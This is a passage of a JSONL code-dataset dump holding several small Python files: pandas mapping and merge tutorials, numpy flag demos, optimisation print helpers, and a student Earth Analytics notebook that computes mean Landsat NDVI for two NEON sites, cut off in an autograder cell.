"max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-02-19T00:00:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-07T03:45:41.000Z", "max_issues_repo_path": "youtube_examplebot.py", "max_issues_repo_name": "Impossibum/rlgym_quickstart_tutorial_bot", "max_issues_repo_head_hexsha": "6e57f3b5df671163ba31a050aa34a87002ce9a55", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "youtube_examplebot.py", "max_forks_repo_name": "Impossibum/rlgym_quickstart_tutorial_bot", "max_forks_repo_head_hexsha": "6e57f3b5df671163ba31a050aa34a87002ce9a55", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-18T20:40:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-21T17:40:04.000Z", "avg_line_length": 49.8, "max_line_length": 148, "alphanum_fraction": 0.6554551539, "include": true, "reason": "import numpy", "num_tokens": 1351, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.1895210959073992, "lm_q1q2_score": 0.09550084967317213}}
{"text": "import numpy as np\nimport pandas as pd\nfrom pandas import Series, DataFrame\n\n# Let's create a dframe to work with (Highest elevation cities in USA)\ndframe = DataFrame({'city': ['Alma', 'Brian Head', 'Fox Park'],\n                    'altitude': [3158, 3000, 2762]})\n\n# Now let's say we wanted to add a column for the States, we can do that\n# with a mapping.\nstate_map = {'Alma': 'Colorado', 'Brian Head': 'Utah', 'Fox Park': 'Wyoming'}\n\n# Now we can map that data to our current dframe\ndframe['state'] = dframe['city'].map(state_map)\n\n# Mapping is a great way to do element-wise transfomations and other data\n# cleaning operations!\n", "meta": {"hexsha": "3ff1de6b201fe1f23ca716f868e7dbd3b874d6f7", "size": 631, "ext": "py", "lang": "Python", "max_stars_repo_path": "working-with-data/part2/mapping.py", "max_stars_repo_name": "LucasHelal/data-science", "max_stars_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "working-with-data/part2/mapping.py", "max_issues_repo_name": "LucasHelal/data-science", "max_issues_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "working-with-data/part2/mapping.py", "max_forks_repo_name": "LucasHelal/data-science", "max_forks_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.0555555556, "max_line_length": 77, "alphanum_fraction": 0.6893819334, "include": true, "reason": "import numpy", "num_tokens": 170, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.2018132270610754, "lm_q1q2_score": 0.09539377779521795}}
{"text": "import numpy as np\n\n\ndef print_start_message(method_name):\n    print('\\n\\n\\n---------- Optimization with {:s} started.\\n\\n'.format(method_name))\n\n\ndef print_end_message(method_name, time_spent):\n    print('\\n---------- Training over - {:s}. Took {:d} seconds. \\n\\n'.format(method_name, np.math.ceil(time_spent)))\n\n\ndef print_progress(i, maxit, val_F, val_f, val_g):\n    print('Iter = {:d}/{:d}, F(X) = {:f}, f(X) = {:f}, g(X) = {:f}'.format(i, maxit, val_F, val_f, val_g))\n", "meta": {"hexsha": "bcff14aff2b398df6f4f320cd18b9e5ad8f6fb4a", "size": 473, "ext": "py", "lang": "Python", "max_stars_repo_path": "HW1/exercise1_code/question2/log_reg/utils.py", "max_stars_repo_name": "3Represents/EE-556_MathsOfData", "max_stars_repo_head_hexsha": "91790e214f2cd2f27a08f343ed89d050bc377d1e", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "HW1/exercise1_code/question2/log_reg/utils.py", "max_issues_repo_name": "3Represents/EE-556_MathsOfData", "max_issues_repo_head_hexsha": "91790e214f2cd2f27a08f343ed89d050bc377d1e", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "HW1/exercise1_code/question2/log_reg/utils.py", "max_forks_repo_name": "3Represents/EE-556_MathsOfData", "max_forks_repo_head_hexsha": "91790e214f2cd2f27a08f343ed89d050bc377d1e", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.7857142857, "max_line_length": 117, "alphanum_fraction": 0.6236786469, "include": true, "reason": "import numpy", "num_tokens": 140, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4843800842769843, "lm_q2_score": 0.19682619422045972, "lm_q1q2_score": 0.09533868854442436}}
{"text": "import numpy as np\n\n# Information about the memory layout of the array.\n\n# The flags object can be accessed dictionary-like (as in a.flags['WRITEABLE']), or by using\n# lowercased attribute names (as in a.flags.writeable). Short flag names are only supported\n# in dictionary access.\n\na = np.arange(10)\n# The data is in a single, C-style contiguous segment\nprint(\"Flags Attribute C_CONTIGUOUS : \",a.flags.c_contiguous)\n# The data is in a single, Fortran-style contiguous segment\nprint(\"Flags Attribute F_CONTIGUOUS : \",a.flags.f_contiguous)\n# The array owns the memory it uses or borrows it from another object\nprint(\"Flags Attribute OWNDATA : \",a.flags.owndata)\n# The data area can be written to. Setting this to False locks the data, making it read-only\nprint(\"Flags Attribute WRITEABLE : \",a.flags.writeable)\n# The data and all elements are aligned appropriately for the hardware\nprint(\"Flags Attribute ALIGNED : \",a.flags.aligned)\n# This array is a copy of some other array. When this array is deallocated, the base array\n# will be updated with the contents of this array\nprint(\"Flags Attribute WRITEBACKIFCOPY  : \",a.flags.writebackifcopy)\n\n\n", "meta": {"hexsha": "46058daeeffa2e92262ef7a4e3d0a5c9e4013010", "size": 1145, "ext": "py", "lang": "Python", "max_stars_repo_path": "python-numpy/Python_NumPy/npbasic/AttributeNpFlags.py", "max_stars_repo_name": "theumang100/tutorials-1", "max_stars_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-04-23T05:24:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T16:37:51.000Z", "max_issues_repo_path": "python-numpy/Python_NumPy/npbasic/AttributeNpFlags.py", "max_issues_repo_name": "theumang100/tutorials-1", "max_issues_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2020-10-01T05:08:37.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-12T03:18:10.000Z", "max_forks_repo_path": "python-numpy/Python_NumPy/npbasic/AttributeNpFlags.py", "max_forks_repo_name": "theumang100/tutorials-1", "max_forks_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2020-04-28T14:06:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-19T18:32:28.000Z", "avg_line_length": 45.8, "max_line_length": 92, "alphanum_fraction": 0.7703056769, "include": true, "reason": "import numpy", "num_tokens": 273, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.21206880435710534, "lm_q1q2_score": 0.09530215867783126}}
{"text": "# coding=utf-8\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndf1 = pd.DataFrame({'Note': [111, 222], 'Weekday': ['Mon', 'Tue']}, index=[1, 2])\r\ndf2 = pd.DataFrame({'Note': [333, 444], 'Weekday': ['Wed', 'Thu']}, index=[3, 4])\r\ndf3 = pd.DataFrame({'Note': [555, 666], 'Weekday': ['Fri', 'Sat']}, index=[5, 6])\r\ndf4 = pd.DataFrame({'Note': [777], 'Weekday': ['Sun']}, index=[7])\r\n\r\n# concat\r\ndf_concat = pd.concat([df1, df2, df3, df4], keys=['df1', 'df2', 'df3', 'df4'])\r\nprint(\"df_concat=\\n{}\\n\".format(df_concat))  # concat\u51fd\u6570\u9ed8\u8ba4\u5c06\u591a\u4e2a\u6570\u636e\u7eb5\u5411\u4e32\u8054\uff0c\u7ed3\u679c\u5b58\u5728MultiIndex\r\ndf_concat_column = pd.concat([df1, df2, df3, df4], axis=1)  # \u6307\u5b9a\u53c2\u6570\u201caxis=1\u201d\u4ee5\u5217\u4e3a\u4e3b\u8fdb\u884c\u4e32\u8054\r\nprint(\"df_concat_column=\\n{}\\n\".format(df_concat_column))  # \u5176\u4f59\u6570\u636e\u4ee5\u201cNaN\u201d\u586b\u5145\r\n\r\n# append\r\ndf_append = df1.append([df2, df3, df4])  # append\u51fd\u6570\u5728\u539f\u6570\u636e\u57fa\u7840\u4e0a\u6dfb\u52a0\u5176\u4ed6\u6570\u636e\u6765\u8fdb\u884c\u4e32\u8054\uff0c\u7ed3\u679c\u4e0e\u539f\u6570\u636e\u7ed3\u6784\u76f8\u540c\r\nprint(\"df_append=\\n{}\\n\".format(df_append))\r\n\r\n# merge\r\ndf5 = pd.DataFrame({'Key': ['key1', 'key2', 'key3'], 'A': ['a1', 'a2', 'a3'], 'B': ['b1', 'b2', 'b3']})\r\ndf6 = pd.DataFrame({'Key': ['key3', 'key6', 'key9'], 'A': ['a3', 'a6', 'a9'], 'B': ['b3', 'b6', 'b9']})\r\nprint(\"df5=\\n{}\\ndf6=\\n{}\\n\".format(df5, df6))\r\nmerge_df = pd.merge(df5, df6)  # merge\u51fd\u6570\u9ed8\u8ba4inner\u65b9\u5f0f\uff08\u5185\u8fde\u63a5\uff0c\u4e5f\u5c31\u662f\u83b7\u5f97\u952e\u7684\u4ea4\u96c6\uff09\r\nmerge_inner_key = pd.merge(df5, df6, how='inner', on=['Key'])  # \u53c2\u6570on\u8868\u793a\u5c06\u5f53\u4f5c\u8fde\u63a5\u952e\u7684\u5217\u540d\r\nprint(\"merge_df=\\n{}\\nmerge_inner=\\n{}\\n\".format(merge_df, merge_inner_key))\r\nmerge_left = pd.merge(df5, df6, how='left')  # \u5de6\u8fde\u63a5\r\nmerge_left_key = pd.merge(df5, df6, how='left', on=['Key'])\r\nprint(\"merge_left=\\n{}\\nmerge_left_key=\\n{}\\n\".format(merge_left, merge_left_key))\r\nmerge_right = pd.merge(df5, df6, how='right')  # \u53f3\u8fde\u63a5\r\nmerge_right_key = pd.merge(df5, df6, how='right', on=['Key'])\r\nprint(\"merge_right=\\n{}\\nmerge_right_key=\\n{}\\n\".format(merge_right, merge_right_key))\r\nmerge_outer = pd.merge(df5, df6, how='outer')  # \u5916\u8fde\u63a5\uff0c\u4e5f\u5c31\u662f\u83b7\u5f97\u952e\u7684\u5e76\u96c6\r\nmerge_outer_key = pd.merge(df5, df6, how='outer', on=['Key'])\r\nprint(\"merge_outer=\\n{}\\nmerge_outer_key=\\n{}\\n\".format(merge_outer, merge_outer_key))\r\n\r\n# join\r\ndf7 = pd.DataFrame({'Key': ['key1', 'key2', 'key3'],\r\n                    'A': ['a1', 'a2', 'a3'],\r\n                    'B': ['b1', 'b2', 'b3']},\r\n                   index=[0, 1, 2])  # \u6ce8\u610f\u7d22\u5f15\r\ndf8 = pd.DataFrame({'Key': ['key3', 'key6', 'key9'],\r\n                    'A': ['a3', 'a6', 'a9'],\r\n                    'B': ['b3', 'b6', 'b9']},\r\n                   index=[1, 2, 3])  # join\u51fd\u6570\u53ef\u88ab\u7528\u4e8e\u5408\u5e76\u591a\u4e2aDataFrame\uff08\u5177\u6709\u76f8\u540c\u7684\u6216\u8005\u7c7b\u4f3c\u7d22\u5f15\uff09\r\nprint(\"df7=\\n{}\\ndf8=\\n{}\\n\".format(df7, df8))\r\njoin_left = df7.join(df8, how='left', lsuffix='_self', rsuffix='_other')  # join\u51fd\u6570\u6839\u636e\u7d22\u5f15\u8fdb\u884c\u6570\u636e\u5408\u5e76\uff0c\u9ed8\u8ba4\u662f\u5de6\u8fde\u63a5\r\njoin_right = df7.join(df8, how='right', lsuffix='_self', rsuffix='_other')  # \u901a\u8fc7\u53c2\u6570lsuffix\u548crsuffix\u53ef\u4ee5\u533a\u5206\u7ed3\u679c\u7684\u5217\u540d\r\nprint(\"join_left=\\n{}\\njoin_right=\\n{}\\n\".format(join_left, join_right))\r\njoin_inner = df7.join(df8, how='inner', lsuffix='_self', rsuffix='_other')\r\njoin_outer = df7.join(df8, how='outer', lsuffix='_self', rsuffix='_other')\r\nprint(\"join_inner=\\n{}\\njoin_outer=\\n{}\\n\".format(join_inner, join_outer))\r\n\r\n# ### \u6570\u636e\u6574\u5408\r\n# http://pandas.pydata.org/pandas-docs/stable/merging.html\r\n#\r\n# ### \u7406\u89e3merge\u548cjoin\u4e2d\u7684\u8fde\u63a5\u65b9\u5f0f\r\n# - inner\uff1a\u53ea\u8fd4\u56de\u4e24\u5f20\u8868\u4e2d\u90fd\u6ee1\u8db3on\u6761\u4ef6\u7684\u8bb0\u5f55\r\n# - outer\uff1a\u8fd4\u56de\u4e24\u5f20\u8868\u4e2d\u7684\u6240\u6709\u8bb0\u5f55\uff0c\u5bf9\u4e8e\u4e0d\u6ee1\u8db3on\u6761\u4ef6\u4e00\u7aef\u7684\u8bb0\u5f55\u7528NaN\u66ff\u6362\r\n# - left\uff1a\u8fd4\u56de\u201c\u8868\u540d1\u201d\u7684\u5168\u90e8\u884c\uff0c\u5bf9\u4e8e\u201c\u8868\u540d2\u201d\u4e2d\uff0c\u4e0d\u6ee1\u8db3on\u6761\u4ef6\u7684\u8bb0\u5f55\u7528NaN\u66ff\u6362\r\n# - right\uff1a\u8fd4\u56de\u201c\u8868\u540d2\u201d\u7684\u5168\u90e8\u884c\uff0c\u5bf9\u4e8e\u201c\u8868\u540d1\u201d\u4e2d\uff0c\u4e0d\u6ee1\u8db3on\u6761\u4ef6\u7684\u8bb0\u5f55\u7528NaN\u66ff\u6362\r\n", "meta": {"hexsha": "9f6df28e59f113df89e63e79eef41f1117baec0b", "size": 3219, "ext": "py", "lang": "Python", "max_stars_repo_path": "Pandas/Pandas07_Merging.py", "max_stars_repo_name": "anliven/Hello-Data", "max_stars_repo_head_hexsha": "7e0af427dc057257bd8f8d27d1aa4767d6b090cb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Pandas/Pandas07_Merging.py", "max_issues_repo_name": "anliven/Hello-Data", "max_issues_repo_head_hexsha": "7e0af427dc057257bd8f8d27d1aa4767d6b090cb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Pandas/Pandas07_Merging.py", "max_forks_repo_name": "anliven/Hello-Data", "max_forks_repo_head_hexsha": "7e0af427dc057257bd8f8d27d1aa4767d6b090cb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 51.9193548387, "max_line_length": 107, "alphanum_fraction": 0.6163404784, "include": true, "reason": "import numpy", "num_tokens": 1290, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926197162523, "lm_q2_score": 0.21206880435710534, "lm_q1q2_score": 0.09530215555013294}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Lauren Kremer**\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# 1. Open each \"sites\" folder\n#     a. open the landsat-crop folder\n#         -generate a list of files for ndvi calcs (bands 4 and 5)\n#         -access qa files from same folder for cloud mask\n#     b. make a list of paths for crop .shp files \n# \n# 2.  With bands 4 and 5 for each image, generate a function that:\n#     a. mask invalid values (1-10000)\n#     b. calculate NDVI\n#     c. clip to boundary\n#     d. mask clouds using qa layer\n#     e. calculate mean NDVI for each image and generate a \n#     dataframe with image date and site colums.\n#     \n# 3. apply NDVI function \n#     a. generate dateframes from band and crop shape lists in a loop \n#     b. concatonate dataframe from each image into one plottable df\n#      \n# 4. Plot ndvi values as a timeseries\n#     \n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport geopandas as gpd\nimport rioxarray as rxr\nimport xarray as xr\nimport earthpy as et\nimport pandas as pd\n\n# Download data \net.data.get_data('ndvi-automation')\n\n# Set working directory\nos.chdir(os.path.join(et.io.HOME,\n                      \"earth-analytics\",\n                      \"data\"))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# In[4]:\n\n\n# The NDVI automation download provides 30m resolution Landsat data and shapefiles for\n# two study sites, one in San Joaquin, CA and the other in Harvard Forest, MA. The two sites\n# differ in vegetation coverage density and type, making them ideal for reviewing potential \n# differences in NDVvi time series analysis. Landsat data provided includes images for \n# approximately 23 days between Jan 12, 2017 to December 30, 2017 and for each image, \n# bands 1-5 and a quality assessment band are included in the download.\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[5]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[6]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n# Function 1. Generate a crop_boundary for each site \n\ndef open_boundary(site_path):\n    \"\"\"generate a list of boundary shapefiles for clipping landsat data to study area\n    Parameters\n    -----------\n    vector_path : a path to the directory containing desire shapefile\n        \n    Returns\n    -----------\n    gpd : a geopandas geodataframe \n    \"\"\"\n    # Open crop boundary\n    vector_dir = os.path.join(site_path, \"vector\")\n    site_name = os.path.basename(os.path.normpath(site_path))\n    site_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\n    crop_bound = gpd.read_file(site_boundary_path)\n    crop_bound['Site'] = site_name \n    return crop_bound\n\n# Function 2. Generate a list of landsat 8 image folders for each site\n  \ndef build_image_list(landsat_dir):\n    \"\"\"generates a list of landsat bands 4 and 5 from folder of images\n    Parameters\n    -----------\n    landsat_dir : a path to the folder/directory of image subfolders which\n    contain landsat bands\n        \n    Returns\n    -----------\n    list : a list of .tif filepaths that can be used to calculate NDVI\n    \"\"\"\n    \n    image_list = []\n\n    image_paths = sorted(glob(os.path.join(landsat_dir, \"LC08*\")))\n    image_list.append(image_paths)\n    image_list = [i for b in map(lambda x:[x] if not isinstance(x, list) \n                                 else x, image_list) for i in b] # unlists nested lists\n    return image_list\n\n# Function 3. \ndef mask_crop_ndvi(image_folder, vals, crop_extent, valid_range = None):\n    \n    \"\"\"Open bands 4 and 5 in each image folder, mask according to valid_range of pixel\n    values, then stores them in a two band list used to calculate NDVI at each pixel.  \n    Then masks clouds using the qa file in the image folder and clips them from a\n    .shp file indicated by the function parameter (crop_extent). Then\n    generates dataframe from image mean NDVI with date and site name. \n\n    Parameters\n    -----------\n    image_folder : list of Landsat 8 folders containing image bands\n    vals: A list of values needed to create the cloud mask\n    crop_extent: geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None \n\n    Returns\n    -----------\n    ndvi_df : Pandas dataframe\n        a dataframe containing cropped image mean NDVI values indexed by date\n    \"\"\"\n    \n    band_path = sorted(glob(os.path.join(image_folder, \"*band*[4-5].tif\")))\n    opened_bands = []\n    \n    for i in band_path:\n        landsat_45 = rxr.open_rasterio(i, masked=True).rio.clip(crop_extent.geometry,\n                                                            from_disk=True).squeeze()\n        if valid_range:\n            mask = ((landsat_45 < valid_range[0]) | (landsat_45 > valid_range[1]))\n            band = landsat_45.where(~xr.where(mask, True, False))\n            opened_bands.append(band)\n          \n    img_ndvi = (opened_bands[1] - opened_bands[0]) / (opened_bands[1] + opened_bands[0])\n\n    # # then open pixel_qa \n    qa_paths = glob(os.path.join(image_folder, \"*qa*\"))\n    path_str = ' '.join([str(elem) for elem in qa_paths]) \n    qa_open = rxr.open_rasterio(path_str).rio.clip(crop_extent.geometry,\n                                                              from_disk=True).squeeze()\n    ndvi_mask = img_ndvi.where(~qa_open.isin(vals))\n    \n    # create the dataframe\n    ndvi_df = pd.DataFrame()\n    ndvi_df['mean_ndvi'] = pd.Series({\"mean\": ndvi_mask.mean()}, dtype=float)\n    ndvi_df['site'] = image_folder[22:26]\n    ndvi_df['date'] = pd.to_datetime(image_folder[50:58], format = '%Y%m%d')\n    ndvi_df.set_index('date', inplace=True)\n    return ndvi_df\n\n\n# In[7]:\n\n\n# For optimal processing, only bands needed for NDVI calculations and cloud masking (qa)\n# were opened. Bands were clipped upon opening to decrease file size to only geographic\n# area of interest, and the cloudmask was applied only to the the NDVI array to reduce \n# processing time over applying a mask to each band used for the calculation. The output \n# of the above function only returns a dataframe of required data, rather than any arrays \n# used for calculations within the dataframe. \n\n\n# In[8]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n# Indicate path to site directories\npath = os.path.join(\"ndvi-automation\", \"sites\")\n\n# Get a list of both site directories \nsites = sorted(glob(path + \"/*/\"))\n\n# build list (build_image_list)of landsat image folders containing bands:\nsitelists = []\nfor i in sites:\n    site_list = build_image_list(landsat_dir = os.path.join(i, \"landsat-crop\"))\n    sitelists.append(site_list)\n    #sitelists = [i for b in map(lambda x:[x] if not isinstance(x, list) else x, sitelists) for i in b]\nsitelists[0][4] #identify one image folder specific to Task 1.\n\n# Open shapefiles using open_boundary function\nbounds = []\nfor i in sites:\n    boundy = open_boundary(i)\n    bounds.append(boundy)\n\nbounds[0] # identify harv geodf for Task 1.\n\n# Identify variables for mask_cloud function:\n\n# Cloud no data vals for Landsat 8 -\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n               \n# apply ndvi calculation and masking function for specific image\nmask_crop_ndvi(image_folder = sitelists[0][4], vals = vals, crop_extent = bounds[0], \n               valid_range = (0, 10000))\n\n\n# In[9]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, 